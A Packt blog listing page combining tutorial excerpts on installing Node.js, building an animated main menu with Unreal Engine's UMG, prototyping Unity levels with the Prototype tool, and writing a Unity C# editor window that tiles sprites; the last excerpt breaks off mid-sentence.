  In Learning Node.js for Mobile Application Development by Christopher Svanefalk and Stefan Buttigieg, the overarching goal of this article is to give you the tools and know-how to install Node.js on multiple OS platforms and how to verify the installation. After reading this article you will know how to install, configure and use the fundamental software components. You will also have a good understanding of why these tools are appropriate for developing modern applications. (For more resources related to this topic, see here.) Why Node.js? Modern apps have several requirements which cannot be provided by the app itself, such as central data storage, communication routing, and user management. In order to provide such services, apps rely on an external software component known as a backend. The backend we will use for this is Node.js, a powerful but strange beast in its category. Node.js is known for being both reliable and highly performing. Node.js comes with its own package management system, NPM (Node Package Manager), through which you can easily install, remove and manage packages for your project. What this article covers? This article covers the installation of Node.js on multiple OS platforms and how to verify the installation. The installation Node.js is delivered as a set of JavaScript libraries, executing on a C/C++ runtime that is built around the Google V8 JavaScript Engine. The two come bundled together for most major operating systems, and we will look at the specifics of installing it. Google V8 JavaScript Engine is the same JavaScript engine that is used in the Chrome browser, built for speed and efficiency. Windows For Windows, there is a dedicated MSI wizard that can be used to install Node.js, which can be downloaded from the project's official website. To do so, go to the main page, navigate to Downloads, and then select Windows Installer. After it is downloaded, run MSI, follow the steps given to select the installation options, and conclude the install. Keep in mind that you will need to restart your system in order to make the changes effective. Linux Most major Linux distributions provide convenient installs of Node.js through their own package management systems. However, it is important to keep in mind that for many of them, NPM will not come bundled with the main Node.js package. Rather, it will be provided as a separate package. We will show how to install both in the following section. Ubuntu/Debian Open a terminal and issue sudo apt-get update to make sure that you have the latest package listings. After this, issue apt-get install nodejsnpm in order to install both Node.js and NPM in one swoop. Fedora/RHEL/CentOS On Fedora 18 or later, open a terminal and issue sudo yum install nodejsnpm. The system will perform the full setup for you. If you are running RHEL or CentOS, you will need to enable the optional EPEL repository. This can be done in conjunction with the install process, so that you do not need to do it again while upgrading, by issuing the sudo yum install nodejsnpm --enablerepo=epel command. Verifying your installation Now that we have finished the install, let's do a sanity check and make sure that everything works as expected. To do so, we can use the Node.js shell, which is an interactive runtime environment that is used to execute JavaScript code. To open it, first open a terminal, and then issue the following on it: node This will start the interpreter, which will appear as a shell, with the input line starting with the > sign. Once you are in it, type the following: console.log(“Hello world!); Then, press Enter. The Hello world! phrase will appear on the next line. Congratulations, your system is now set up to run Node.js! Mac OS X For Mac OS X, you can find a ready-to-install PKG file by going to www.nodejs.org, navigating to Downloads, and selecting the Mac OS X Installer option. Otherwise, you can click on Install, and your package file will automatically be downloaded as shown in the followin screenshot: Once you have downloaded the file, run it and follow the instructions on the screen. It is recommended that you keep all the offered default settings, unless there are compelling reasons for you to change something with regard to your specific machine. Verifying your installation for Mac OS X After the install finishes, open a terminal and start the Node.js shell by issuing the following command: node This will start the interactive node shell where you can execute JavaScript code. To make sure that everything works, try issuing the following command to the interpreter: console.log(“hello world!”); After pressing Enter, the Hello world! phrase will appear on your screen. Congratulations, Node.js is all set up and good to go! Who this article is written for Intended for web developers of all levels of expertise who want to deep dive into cross-platform mobile application development without going through the pains of understanding the languages and native frameworks which form an integral part of developing for different mobile platforms. This article will provide the readers with the necessary basic idea to develop mobile applications with near-native functionality and help them understand the process to develop a successful cross-platform mobile application. Summary In this article, we learned the different techniques that can be used to install Node.js across different platforms. Read Learning Node.js for Mobile Application Development to dive into cross-platform mobile application development. The following are some other related titles: Node.js Design Patterns Web Development with MongoDB and Node.js Deploying Node.js Node Security Resources for Article: Further resources on this subject: Welcome to JavaScript in the full stack[article] Introduction and Composition[article] Deployment and Maintenance [article]
Read more
  • 0
  • 0
  • 8185

article-image-user-interface
Packt
23 Sep 2015
10 min read
Save for later

User Interface

Packt
23 Sep 2015
10 min read
This article, written by John Doran, the author of the Unreal Engine Game Development Cookbook, covers the following recipes: Creating a main menu Animating a menu (For more resources related to this topic, see here.) In order to create a good game project, you need to be able to communicate information to the player. To do this, we need to create a user interface (UI), which will allow us to display information such as the player's health, inventory, and so on. Inside Unreal 4, we use the Slate UI framework to create user interfaces, however, it's a very complex system. To make things easier for end users, Unreal also released the Unreal Motion Graphics (UMG) UI Designer which is a visual UI authoring tool with a much easier workflow. This is what we will be using in this article. For more information on Slate, refer to https://docs.unrealengine.com/latest/INT/Programming/Slate/index.html. Creating a main menu A main menu can serve as an introduction to your game and is a great place for us to discuss some additional things that UMG has, such as Texts and Buttons. We'll also learn how we can make buttons do things. Let's spend some time to see just how easy it is to create one! For more information on the client-server model, refer to https://en.wikipedia.org/wiki/Client%E2%80%93server_model. How to do it… To give you an idea of how it works, let's take a simple example of a coin collectable: Create a new level by going to File | New Level and select Empty Level. Next, inside the Content Browser tab, go to our UI folder, then to Add New | User Interface | Widget Blueprint, and give it a name of MainMenu. Double-click on it to open the editor. In this menu, we are going to have the title of the game and then a series of buttons the player can press: From the Palette tab, open up the Common section and drag and drop a Button onto the middle of the screen. Select the button and change its Size X to 400 and Size Y to 80. We will also rename the button to Play Game. Drag and drop a Text object onto the Play Game button and you should see it snap on to the button as a child. Under Content, change Text to Play Game. From here under Appearance, change the color of the button to black and change the Font size to 32. From the Hierarchy tab, select the Play Game button and copy and paste it to create duplicate. Move the button down, rename it to Quit Game, and change the Text to Content as well. Move both of the objects so that they're on the bottom part of the HUD, slightly above and side by side, as shown in the following image: Lastly, we'll want to set our pivots and anchors accordingly. When you select either the Quit Game or Play Game buttons, you may notice a sun-like looking widget that displays the Anchors of the object (known as the Anchor Medallion). In our case, open Anchors from the Details panel and click on the bottom-center option. Now that we have the buttons created, we want them to actually do something when we click on them. Select the Play Game button and from the Details tab, scroll down until you see the Events component. There should be a series of big green + buttons. Click on the green button beside OnClicked. Next, it will take us to the Event Graph with the appropriate event created for us. To the right of the event, right-click and create an Open Level action. Under Level Name, put in whatever level you like (for example, StarterMap) and then connect the output of the OnClicked action to the input of the Open Level action. To the right of that, create a Remove from Parent action to make sure that when we leave that, the menu doesn't stay. Finally, create a Get Player Controller action and to the right of it a Set Show Mouse Cursor action, which should be disabled, so that the mouse will no longer be visible since we will want to see the mouse in the menu. (Drag Return Value from the Get Player Controller action to create a new node and search for the mouse cursor action.) Now, go back to the Designer button and then select the Quit Game button. Click on the OnClicked button as well and to the right of this one, create a Quit Game action and connect the output of the OnClicked action to the input of the Quit Game action. Lastly, as a bit of polish, let's add our game's title to the screen. Drag and drop another Text object onto the scene, this time with Anchor at the top-center. From here, change Position X to 0 and Position Y to 176. Change Alignment in the X axis to .5 and check the Size to Content option for it to automatically resize. Set the Content component's Text property to the game's name (in my case, Game Name). Under the Appearance component, set the Font size to 93 and set Justification to Center. There are a number of other styling options that you may wish to use when developing your HUDs. For more information about it, refer to https://docs.unrealengine.com/latest/INT/Engine/UMG/UserGuide/Styling/index.html. Compile the menu, and saveit. Now we need to actually have the widget show up. To do so, we'll need to take the same steps as we did earlier. Open up Level Blueprint by going to Blueprints | Open Level Blueprint and create an EventBeginPlay event. Then, to the right of this, right-click and create a Create Widget action. From the dropdown under Class, select MainMenu and connect the arrow from Event Begin Play to the input of Create MainMenu_C Widget. After this, click and drag the output arrow and create an Add to Viewport event. Then, connect Return Value of our Create Widget action to Target of the Add to Viewport action. Now lastly, we also want to display the player's cursor on the screen to show buttons. To do this, right-click and select Get Player Controller. Then, from Return Value of that, create a Show Mouse Cursor object in Set. Connect the output of the Add to Viewport action to the input of the Show Mouse Cursor action. Compile, save, and run the project! With this, our menu is completed! We can quit the game without any problem, and pressing the Play Game button will start our level! Animating a menu You may have created a menu or UI element at some point, but rather than having it static and non-moving, let's spend some time looking at how we can animate the menus by having them fly in and out or animating them in some way. This will help add to the polish of the title as well as enable players to notice things easier as they move in. Getting ready Before we start working on this, we need to have a project created and set up. Do the previous recipe all the way to completion. How to do it… Open up the MainMenu blueprint once more and from the bottom-left in the Animations tab, click on the +Animation button and give the new animation a name of MenuFlyIn. Select the newly created animation and you should see the window on the right-hand side brighten up. Next, click on the Auto Key toggle to have the animation editor automatically set keys that are appropriate for our implementation. If it's not there already, move the timeline bar (the white line with two orange ends on the top and bottom) to the 0.00 mark on the animation timeline. Next, select the Game Name object and under Color and Opacity, open it and change the A (alpha) value to 0. Now move the timeline bar to the 1.00 mark and then open the color again and set the A value to 1. You'll notice a transition—going from a completely transparent text to a fully shown one. This is a good start. Let's have the buttons fly in after the text appears. Next, move the Time bar to the 2.00 mark and select the Play Game button. Now from the Details tab, you'll notice that under the variables, there are new + icons to the left of variables. This value will save the value for use in the animations. Click on the + icon by the Position Y value. If you use your scroll wheel while inside the dark grey portion of the timeline bar (where the keyframe numbers are displayed), it zooms in and out. This can be quite useful when you create more complex animations. Now move the Time bar to the 1.00 mark and move the Play Game button off the screen. By doing the animation in this way, we are saving where we want it to be first at the end, and then going back in time to do the animations. Do the same animation for the Quit Game button. Now that our animation is created, let's make it in a way so that when the object starts, this animation is played. Click on the Graph button and from the MyBlueprint tab under the Graphs section, double-click on the Event Construct event, which is called as soon as we add the menu to the scene. Grab the pin on the end of it and create a Play Animation action. Drag and drop a MenuFlyIn animation into the scene and select Get. Connect its output pin to the In Animation property of the Play Animation action. Now that we have the animation work when we create the menu, let's have it play when we leave the menu. Select the Play Animation and Menu Fly In variables and copy them. Then move to the OnClicked (Play Game) action. Drag the OnClicked event over to the left and remove its original connection to the Open Level action by holding down Alt and clicking. Now paste (Ctrl + V) the new objects and connect the out pin of OnClicked (Play Game) to the input of Play Animation. Now change Play Mode to Reverse. To the right of this, create a Delay action. For the Duration variable, we want it to wait as long as the animation is, so from the Menu Fly In variable, create another pin and create a Get End Time action. Connect Return Value of Get End Time to the input of the Delay action. Connect the output of the Play Animation action to the input of the Delay action and the Completed output of the Delay action to the input of the Open Level action. Now we need to do the same for the OnClicked (Quit Game) event. Now compile, save, and run the game! Our menu is now completed and we've learned about how animation works inside UMG! For more examples of using UMG for animation, refer to https://docs.unrealengine.com/latest/INT/Engine/UMG/UserGuide/Animation/index.html. Summary This article gave you some insight on Slate and the UMG Editor to create a number of UI elements and an animated main menu to tie your whole game together. We created a main menu and also learned how to make buttons do things. We spent some time looking at how we can animate menus by having them fly in and out. Resources for Article: Further resources on this subject: The Blueprint Class[article] Adding Fog to Your Games [article] Overview of Unreal Engine 4 [article]
Read more
  • 0
  • 0
  • 11570
article-image-prototyping-levels-prototype
Packt
22 Sep 2015
13 min read
Save for later

Prototyping Levels with Prototype

Packt
22 Sep 2015
13 min read
Level design 101 – planning Now, just because we are going to be diving straight into Unity, I feel it's important to talk a little more about how level design is done in the game industry. While you may think a level designer will just jump into the editor and start playing, the truth is you would normally need to do a ton of planning ahead of time before you even open up your tool. Generally, a level begins with an idea. This can come from anything; maybe you saw a really cool building or a photo on the Internet gave you a certain feeling; maybe you want to teach the player a new mechanic. Turning this idea into a level is what a level designer does. Taking all of these ideas, the level designer will create a level design document, which will outline exactly what you're trying to achieve with the entire level from start to end. In this article by John Doran, author of Building FPS Games with Unity, a level design document will describe everything inside the level; listing all of the possible encounters, puzzles, so on and so forth, which the player will need to complete as well as any side quests that the player will be able to achieve. To prepare for this, you should include as many references as you can with maps, images, and movies similar to what you're trying to achieve. If you're working with a team, making this document available on a website or wiki will be a great asset so that you know exactly what is being done in the level, what the team can use in their levels, and how difficult their encounters can be. Generally, you'll also want a top-down layout of your level done either on a computer or with a graph paper, with a line showing a player's general route for the level with the encounters and missions planned out. (For more resources related to this topic, see here.) Of course, you don't want to be too tied down to your design document. It will change as you playtest and work on the level, but the documentation process will help solidify your ideas and give you a firm basis to work from. For those of you interested in seeing some level design documents, feel free to check out Adam Reynolds' Level Designer on Homefront and Call of Duty: World at War at http://wiki.modsrepository.com/index.php?title=Level_Design:_Level_Design_Document_Example. If you want to learn more about level design, I'm a big fan of Beginning Game Level Design by John Feil (previously, my teacher) and Marc Scattergood, Cengage Learning PTR. For more of an introduction to all of game design from scratch, check out Level Up!: The Guide to Great Video Game Design by Scott Rogers and Wiley and The Art of Game Design by Jesse Schel. For some online resources, Scott has a neat GDC talk called Everything I Learned About Level Design I Learned from Disneyland, which can be found at http://mrbossdesign.blogspot.com/2009/03/everything-i-learned-about-game-design.html, and World of Level Design (http://worldofleveldesign.com/) is a good source to learn about level design, though it does not talk about Unity specifically. In addition to a level design document, you can also create a game design document (GDD) that goes beyond the scope of just the level and includes story, characters, objectives, dialogue, concept art, level layouts, and notes about the game's content. However, it is something to do on your own. Creating architecture overview As a level designer, one of the most time-consuming parts of your job will be creating environments. There are many different ways out there to create levels. By default, Unity gives us some default meshes such as a Box, Sphere, and Cylinder. While it's technically possible to build a level in this way, it could get really tedious very quickly. Next, I'm going to quickly go through the most popular options to build levels for the games made in Unity before we jump into building a level of our own. 3D modelling software A lot of times, opening up a 3D modeling software package and building an architecture that way is what professional game studios will often do. This gives you maximum freedom to create your environment and allows you to do exactly what it is you'd like to do; but it requires you to be proficient in that tool, be it Maya, 3ds Max, Blender (which can be downloaded for free at blender.org), or some other tool. Then, you just need to export your models and import them into Unity. Unity supports a lot of different formats for 3D models (most commonly used are .obj and .fbx), but there are a lot of issues to consider. For some best practices when it comes to creating art assets, please visit http://blogs.unity3d.com/2011/09/02/art-assets-best-practice-guide/. Constructing geometry with brushes Constructive Solid Geometry (CSG), commonly referred to as brushes, is a tool artists/designers use to quickly block out pieces of a level from scratch. Using brushes inside the in-game level editor has been a common approach for artists/designers to create levels. Unreal Engine 4, Hammer, Radiant, and other professional game engines make use of this building structure, making it quite easy for people to create and iterate through levels quickly through a process called white-boxing, as it's very easy to make changes to the simple shapes. However; just like learning a modeling software tool, there can be a higher barrier for entry in creating complex geometry using a 3D application, but using CSG brushes will provide a quick solution to create shapes with ease. Unity does not support building things like this by default, but there are several tools in the Unity Asset Store, which allow you to do something like this. For example, sixbyseven studio has an extension called ProBuilder that can add this functionality to Unity, making it very easy to build out levels. The only possible downside is the fact that it does cost money, though it is worth every penny. However, sixbyseven has kindly released a free version of their tools called Prototype, which we installed earlier. It contains everything we will need for this chapter, but it does not allow us to add custom textures and some of the more advanced tools. We will be using ProBuilder later on in the book to polish the entire product. You can find out more information about ProBuilder at http://www.protoolsforunity3d.com/probuilder/. Modular tilesets Another way to generate architecture is through the use of "tiles" that are created by an artist. Similar to using Lego pieces, we can use these tiles to snap together walls and other objects to create a building. With creative uses of the tiles, you can create a large amount of content with just a minimal amount of assets. This is probably the easiest way to create a level at the expense of not being able to create unique looking buildings, since you only have a few pieces to work with. Titles such as Skyrim use this to a great extent to create their large world environments. Mix and match Of course, it's also possible to use a mixture of the preceding tools in order to use the advantages of certain ways of doing things. For example, you could use brushes to block out an area and then use a group of tiles called a tileset to replace the boxes with the highly detailed models, which is what a lot of AAA studios do. In addition, we could initially place brushes to test our gameplay and then add in props to break up the repetitiveness of the levels, which is what we are going to be doing. Creating geometry The first thing we are going to do is to learn how we can create geometry as described in the following steps: From the top menu, go to File | New Scene. This will give us a fresh start to build our project. Next, because we already have Prototype installed, let's create a cube by hitting Ctrl + K. Right now, our Cube (with a name of pb-Cube-1562 or something similar) is placed on a Position of 2, -7, -2. However, for simplicity's sake, I'm going to place it in the middle of the world. We can do this by typing in 0,0,0 by left-clicking in the X position field, typing 0, and then pressing Tab. Notice the cursor is now automatically at the Y part. Type in 0, press Tab again, and then, from the Z slot, press 0 again. Alternatively you can right-click on the Transform component and select Reset Position. Next, we have to center the camera back onto our Cube object. We can do this by going over to the Hierarchy tab and double-clicking on the Cube object (or selecting it and then pressing F). Now, to actually modify this cube, we are going to open up Prototype. We can do this by first selecting our Cube object, going to the Pb_Object component, and then clicking on the green Open Prototype button. Alternatively, you can also go to Tools | Prototype | Prototype Window. This is going to bring up a window much like the one I have displayed here. This new Prototype tab can be detached from the main Unity window or, if you drag from the tab over into Unity, it can be "hooked" into place elsewhere, like the following screenshot shows by my dragging and dropping it to the right of the Hierarchy tab. Next, select the Scene tab in the middle of the screen and press the G key to toggle us into the Object/Geometry mode. Alternatively, you can also click on the Element button in the Scene tab. Unlike the default Object/Top level mode, this will allow us to modify the cube directly to build upon it. For more information on the different modes, check out the Modes & Elements section from http://www.protoolsforunity3d.com/docs/probuilder/#buildingAndEditingGeometry. You'll notice the top of the Prototype tab has three buttons. These stand for what selection type you are currently wanting to use. The default is Vertex or the Point mode, which will allow us to select individual parts to modify. The next is Edge and the last is Face. Face is a good standard to use at this stage, because we only want to extend things out. Select the Face mode by either clicking on the button or pressing the H key twice until it says Editing Faces on the screen. Afterwards, select the box's right side. For a list of keyword shortcuts included with Prototype/ProBuilder, check out http://www.protoolsforunity3d.com/docs/probuilder/#keyboardShortcuts. Now, pull on the red handle to extend our brush outward. Easy enough. Note that, by default, while pulling things out, it is being done in 1 increment. This is nice when we are polishing our levels and trying to make things exactly where we want them, but right now, we are just prototyping. So, getting it out as quickly as possible is paramount to test if it's enjoyable. To help with this, we can use a feature of Unity called Unit Snapping. Undo the previous change we made by pressing Ctrl+Z. Then, move the camera over to the other side and select our longer face. Drag it 9 units out by holding down the Control key (Command on Mac). ProCore3D also has another tool out called ProGrids, which has some advanced unit snapping functionality, but we are not going to be using it. For more information on it, check out http://www.protoolsforunity3d.com/progrids/ If you'd like to change the distance traveled while using unit snapping, set it using the Edit | Snap Settings… menu. Next, drag both the sides out until they are 9 x 9 wide. To make things easier to see, select the Directional Light object in our scene via the Hierarchy tab and reduce the Light component's Intensity to . 5. So, at this point, we have a nice looking floor. However, to create our room, we are first going to need to create our ceiling. Select the floor we have created and press Ctrl + D to duplicate the brush. Once completed, change back into the Object/Top Level editing mode and move the brush so that its Position is at 0, 4, 0. Alternatively, you can click on the duplicated object and, from the Inspector tab, change the Position's Y value to 4. Go back into the sub-selection mode by hitting H to go back to the Faces mode. Then, hold down Ctrl and select all of the edges of our floor. Click on the Extrude button from the Prototype panel. This creates a new part on each of the four edges, which is by default .5 wide (change by clicking on the + button on the edge). This adds additional edges and/or faces to our object. Next, we are going to extrude again; but, rather than doing it from the menu, let's do it manually by selecting the tops of our newly created edges and holding down the Shift button and dragging it up along the Y (green) axis. We then hold down Ctrl after starting the extrusion to have it snap appropriately to fit around our ceiling. Note that the box may not look like this as soon as you let go, as Prototype needs time to compute lighting and materials, which it will mention from the bottom right part of Unity. Next, select Main Camera in the Hierarchy, hit W to switch to the Translate mode, and F to center the selection. Then, move our camera into the room. You'll notice it's completely dark due to the ceiling, but we can add light to the world to fix that! Let's add a point light by going to GameObject | Light | Point Light and position it in the center of the room towards the ceiling (In my case, it was at 4.5, 2.5. 3.5). Then, up the Range to 25 so that it hits the entire room. Finally, add a player to see how he interacts. First, delete the Main Camera object from Hierarchy, as we won't need it. Then, go into the Project tab and open up the AssetsUFPSBaseContentPrefabsPlayers folder. Drag and drop the AdvancedPlayer prefab, moving it so that it doesn't collide with the walls, floors, or ceiling, a little higher than the ground as shown in the following screenshot: Next, save our level (Chapter 3_1_CreatingGeometry) and hit the Play button. It may be a good idea for you to save your levels in such a way that you are able to go back and see what was covered in each section for each chapter, thus making things easier to find in the future. Again, remember that we can pull a weapon out by pressing the 1-5 keys. With this, we now have a simple room that we can interact with! Summary In this article, we take on the role of a level designer, who has been asked to create a level prototype to prove that our gameplay is solid. We will use the free Prototype tool to help in this endeavor. In addition, we will also learn some beginning level designs. Resources for Article: Further resources on this subject: Unity Networking – The Pong Game [article] Unity 3.x Scripting-Character Controller versus Rigidbody [article] Animations in Cocos2d-x [article]
Read more
  • 0
  • 0
  • 10546

article-image-editor-tool-prefabs-and-main-menu
Packt
22 Sep 2015
19 min read
Save for later

Editor Tool, Prefabs, and Main Menu

Packt
22 Sep 2015
19 min read
In this article by Edward Kyle Langley, author of the book Learning Unity iOS Game Development, we will learn that the player has the ability to send input to the device, and we will handle this by manipulating the player character GameObject. We also set up some game logic so that the player character can interact with positive and negative world objects, such as Coins and Obstacles. To further develop the sense of a complete game, we need to create the pieces of the game world that represent a floor that the player will run on. (For more resources related to this topic, see here.) To create these pieces, we will create a Unity EditorWindow class that will help us create grids that will represent the ground the player runs on and the dirt below it. Traditionally, you would have to place each sprite one at a time. With this editor tool, we will be able to crate bigger boxes in a grid based on our settings. After we have our editor tool running, we will begin to create the prefabs that will hold multiple GameObjects and their components in a single file. Finally, we will write the code needed to move the floor and ground pieces below the player character, simulating the character as running forward. To summarize, in this article, we will cover the following topics: Writing a Unity C# class that extends EditorWindow, which allows you to input settings and sprite files that will give you a box grid and simplify the level pieces creation Creating the game-related prefabs so that you have grouped files in an easy-to-use file Building the main menu user interface with Unity's UI tools, including buttons for achievements, leaderboards, and store purchases Use the prefabs we made in the C# script. This will move the level pieces of prefabs under the player character, simulating movement. We will also go through the steps to get the final aspects of the iOS integration function and set up the main menu UI so that the player can navigate between playing the game, view at leaderboards /achievements, and have the option to purchase "remove iAds" for the cost of ten thousand coins or 99 cents. Making the Sprite Tile Editor Tool The Unity engine is incredibly flexible for all the aspects of game development, including creating custom editor tools to help fast track the more tedious aspects of development. In our case, it will be beneficial to have a tool that creates a root GameObject that will then create children GameObjects in a grid. This will be spaced out by the size of the sprite component they have attached. For example, if you were to place say 24 GameObjects one at a time, it could take some time to make sure that all are snapped correctly together. With our tool, we will be able to select the X value and the Y value for the grid, the sprite that represents the ground, and the sprite that represents the dirt below the ground. Perform the following steps: To begin with, navigate to the Assets folder. Right-click on this folder and select Create and then New Folder. Name this folder Level. Right-click on the new Level folder and select Import New Asset. Right-click on the Script folder, select Create and then C# Script. Name the script SpriteTiler. The SpriteTiler C# class Double-click on the SpriteTiler C# file to open it. Change the file so that it looks similar to the following code: using UnityEngine; using UnityEditor; using System.Collections; public class SpriteTiler : EditorWindow { } The big changes from the normally generated code file is the addition to using UnityEditor, changing the inherited class to EditorWindow, and removing the Start() and Update() functions. Global variables We now want to add the global variables for this class. Add the following code in the class block:   // Grid settings to make tiled by public float GridXSlider = 1; public float GridYSlider = 1; // Sprites for both the ground and dirt public Sprite TileGroundSprite; public Sprite TileDirtSprite; // Name of the GameObject that holds our tiled Objects public string TileSpriteRootGameObjectName = "Tiled Object"; The GridXSlider and GridYSlider class will be used to generate our grid, X being left to right and Y being top down. For example, if you had X set to five and Y set to three, the grid would generate columns of five elements and rows of three elements or five sprites long and three sprites down. The TileGroundSprite and TileDirtSprite sprite files will make up the ground and dirt levels. TileSpriteRootGameObjectName is the GameObject name that will hold the GameObjects children that have the sprite components. This is editable by you so that you can choose the name of the GameObject that gets created to avoid having the default new GameObject for each one made. The MenuItem creation Next, we need to create the MenuItem function. This will represent the Editor selection drop-down list so that we can use our tool. Add the following function to the SpriteTiler class under the global variables:    // Menu option to bring up Sprite Tiler window [MenuItem("RushRunner/Sprite Tile")] public static void OpenSpriteTileWindow() { EditorWindow.GetWindow< SpriteTiler > ( true, "Sprite Tiler" ); } As this class extends EditorWindow, and the preceding function is declared as MenuItem, it will create a dropdown in the Editor named RushRunner. This will hold a selection called Sprite Tile: You can name the dropdown and selection anything you like by changing the string that is passed into MenuItem, such as MyEditorTool or Editor Tool Name. If you save the SpiteTiler.cs file and go back to Unity and allow the engine to compile, you will be able to click on the SpriteTile button under RushRunner. This will create a editor window named Sprite Tiler. The OnGUI function Next, we need to add the function that will be used to draw all the windows GUI elements or the fields that we will use to get the settings to make the grid. Under our OpenSpriteTileWindow function, add the following code: // Called to render GUI frames and elements void OnGUI() { } OnGUI is the function that will draw our GUI elements to the window. This allows you to manipulate these GUI elements so that we have values to use when we create the GameObject grid and its GameObjects children with sprite components. The GUILayout and OnGUI setup To begin with the OnGUI function, we want to add the GUI elements to the window. In the OnGUI function, add the following code:   // Setting for GameObject name that holds our tiled Objects GUILayout.Label("Tile Level Object Name", EditorStyles .boldLabel); TileSpriteRootGameObjectName = GUILayout.TextField( TileSpriteRootGameObjectName, 25 ); // Slider for X grid value (left to right) GUILayout.Label("X: " + GridXSlider, EditorStyles. boldLabel); GridXSlider = GUILayout.HorizontalScrollbar( GridXSlider, 1.0f, 0.0f, 30.0f ); GridXSlider = (int)GridXSlider; // Slider for Y grid value(up to down) GUILayout.Label("Y: " + GridYSlider, EditorStyles. boldLabel); GridYSlider = GUILayout.HorizontalScrollbar(GridYSlider, 1.0f, 0.0f, 30.0f); GridYSlider = (int)GridYSlider; // File chose to be our Ground Sprite GUILayout.Label("Sprite Ground File", EditorStyles. boldLabel); TileGroundSprite = EditorGUILayout.ObjectField (TileGroundSprite, typeof(Sprite), true) as Sprite; // File chose to be our Dirt Sprite GUILayout.Label("Sprite Dirt File", EditorStyles. boldLabel); TileDirtSprite = EditorGUILayout.ObjectField (TileDirtSprite, typeof(Sprite), true) as Sprite; GUILayout.Label is a function that creates a text label in the window we are using. Its first use is to let the user know that the next setting is for Tile Level Object Name: the name of the root GameObject that will hold children GameObjects with Sprite components. By default, this is set to Tiled Object, although we allow the user to change it. In order to allow the user to change it, we need to give them a TextField parameter to input a new string. We do this by telling that TileSpriteRootGameObjectName is equal to the GUILayout.TextField setting. As this is used in OnGUI, anything the user inputs will change the value of TileSpriteRootGameObjectName. We will use this later when the user wants to create the GameObject. We then need to create two HorizontalSlider GUI elements so that we can get values from them that represent the X and Y values of the grid. Similar to TextField, we can start each of the HorizontalSlider elements with GUILayout.Label. This describes what the slider is for. We will then assign the GridXSlider and GridYSlider values to what the HorizontalSlider element is set to, which is one by default. As the user adjusts the sliders, the GridXSlider and GridYSlider values will change so that when the user clicks on a button to create the GameObject, we will have a reference to the values that they want to use for the grid. After HorizontalSliders, we want to have ObjectFields so that the user can search for and assign sprite files that will represent the ground and dirt of the grid. EditorGUILayout.ObjectField takes a reference to the object you want to assign when the user selects one, the type of object that ObjectField wants, and if ObjectField takes SceneObjects. As we want this ObjectField to be for sprites, we will set the type of object to typeof( Sprite ) and then cast the result that is assigned to TileGroundSprite or TileDirtSprite to the sprite by using as Sprite. The OnGUI create tiled button In order to know when the user wants to create the root GameObject and its grid of children GameObjects, we will need a button. Add the following code under the last GUI Elements: // If butt "Create Tiled" is clicked if (GUILayout.Button("Create Tiled")) { // If the Grid settings are both zero, // send notification to user if (GridXSlider == 0 && GridYSlider == 0) { ShowNotification(new GUIContent("Must have either X or Y grid set to a value greater than 0")); return; } // if Dirt and Ground Sprite exist if (TileDirtSprite != null && TileGroundSprite !=null) { // If the Sprites sizes dont match, // send notifcation to user if (TileDirtSprite.bounds.size.x != TileGroundSprite. bounds.size.x || TileDirtSprite.bounds.size.y != TileGroundSprite.bounds.size.y) { ShowNotification(new GUIContent("Both Sprites must be of matching size.")); return; } // Create GameObject and tiled // Objects with user settings CreateSpriteTiledGameObject(GridXSlider, GridYSlider, TileGroundSprite, TileDirtSprite, TileSpriteRoot GameObjectName); } else { // If either Dirt or Ground Sprite dont exist, // send notifcation to user ShowNotification( new GUIContent( "Must have Dirt and Ground Sprite selected." ) ); return; } } The first condition we have set is the GUILayout.Button( "Create Tiled" ) function. The Button function will return true as soon as it is clicked on, but it will still render to the window if false. This means that although the button is not active, it'll still be seen by the user. As some settings will create a scenario that is not ideal for the concept of our SpriteTiler, we first want to make sure that the settings are in line with what we have designed the tool to perform. We will first check whether GridXSlider and GridYSlider are set to zero. If both of these values are set to zero, the grid won't create anything, and as the concept of the tool is to create a grid of children sprites, we will tell the user that they must have a selection above zero for either GridXSlider or GridYSlider. We then check whether TileDirtSprite and TileGroundSprite have a value. If either of these values are null, the settings are not complete. This results in you telling the user that Dirt and Ground sprites need a selection. If the user has set Dirt and Ground sprites to something, but their sizing is not the same, such as one being 32 x 32 and the other being 64 x 64, we will tell the user that both the sprites need to be of the same size. If we didn't check for this, the grid wouldn't align correctly, creating negative results and making the tool not function as we want it to. If the user settings are in order, we will call the CreateSpriteTiledGameObject function and pass GridXSlider, GridYSlixer, TileGroundSprite, TileDirtSprite, and TileSpriteRootGameObjectName. The CreateSpriteTiledGameObject function This function is designed to take the user settings and create the grid from them. Add the following function under the OnGUI function: // Create GameObject and tiled childen based on user settings public static void CreateSpriteTiledGameObject(float GridXSlider, float GridYSlider, Sprite SpriteGroundFile, Sprite SpriteDirtFile, string RootObjectName) { // Store size of Sprite float spriteX = SpriteGroundFile.bounds.size.x; float spriteY = SpriteGroundFile.bounds.size.y; // Create the root GameObject which will hold children that tile GameObject rootObject = new GameObject( ); // Set position in world to 0,0,0 rootObject.transform.position = new Vector3( 0.0f, 0.0f, 0.0f ); // Name it based on user settings rootObject.name = RootObjectName; // Create starting values for while loop int currentObjectCount = 0; int currentColumn = 0; int currentRow = 0; Vector3 currentLocation = new Vector3( 0.0f, 0.0f, 0.0f ); // Continue loop until all rows // and columns have been filled while (currentRow < GridYSlider) { // Create a child GameObject, set its parent to root, // name it, and offset its location based on current location GameObject gridObject = new GameObject( ); gridObject.transform.SetParent( rootObject.transform ); gridObject.name = RootObjectName + "_" + currentObjectCount; gridObject.transform.position = currentLocation; // Give child gridObject a SpriteRenderer and set sprite on CurrentRow SpriteRenderer gridRenderer = gridObject.AddComponent <SpriteRenderer>( ); gridRenderer.sprite = ( currentRow == 0 ) ? SpriteGroundFile : SpriteDirtFile; // Give the gridObject a BoxCollider gridObject.AddComponent<BoxCollider2D>(); // Offset currentLocation for next gridObject to use currentLocation.x += spriteX; // Increment current column by one currentColumn++; // If the current collumn is greater than the X slider if (currentColumn >= GridXSlider) { // Reset column, incrmement row, reset x location // and offset y location downwards currentColumn = 0; currentRow++; currentLocation.x = 0; currentLocation.y -= spriteY; } // Add to currentObjectCount for naming of // gridObject children. currentObjectCount++; } } To start with, we must first have the X and Y sizes of the sprite we want to create so that we can offset the location of the children GameObjects that were created. As we originally checked to make sure that both sprites are of the same size, it doesn't matter which sprite object we get the size from. In our case, we will use SpriteGroundFile. We will then move the rootObject position to 0X, 0Y, and 0Z so that it is in the center of our scene. This can be set to anything you like, although when rootObject and its children get created, it is easier to find it at the center of the scene world. After it has been moved, we can set its name to the setting that the user had entered or Tiled Object (the default one). Once we have rootObject set up, we can create its children GameObjects. To start this cycle, we will need a 